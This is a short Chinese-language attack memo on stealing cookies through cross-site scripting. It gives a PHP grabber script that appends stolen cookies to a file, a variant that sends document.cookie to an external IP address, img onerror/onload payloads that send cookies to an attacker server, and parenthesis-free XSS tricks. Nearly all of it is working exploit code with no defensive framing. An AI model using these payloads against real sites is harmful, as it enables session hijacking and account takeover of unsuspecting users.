XSS拿Cookie

payload：
https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSS injection#exploit-code-or-poc

XSS/grabber.php

<?php
// How to use it
echo "
<script>new Image().src=\"http://localhost/XSS/grabber.php?c=\"+document.cookie;</script>
";

// Write the cookie in a file
$cookie = $_GET['c'];
$fp = fopen('cookies.txt', 'a+');
fwrite($fp, 'Cookie:' .$cookie.'\r\n');
fclose($fp);

?>

或者：
直接在grabber.php里这样写：

<?php
// How to use it
session_start();
echo "
<script>new Image().src=\"http://95.a.b.c:8080/?c=\"+document.cookie;</script>
";

?>

然后访问：http://localhost/grabber.php
Cookie（内容为PHPSESSIONID）发送成功。

其他Payload：

<img src=x οnerrοr=this.src='http://yourserver/?c='+document.cookie>
<img src=https://github.com/favicon.ico width=0 height=0 οnlοad=this.src='http://yourserver/?'+document.cookie>

不用括号和分号XSS：

<script>onerror=alert;throw 1337</script>
<script>{onerror=alert}throw 1337</script>

参考：https://portswigger.net/blog/xss-without-parentheses-and-semi-colons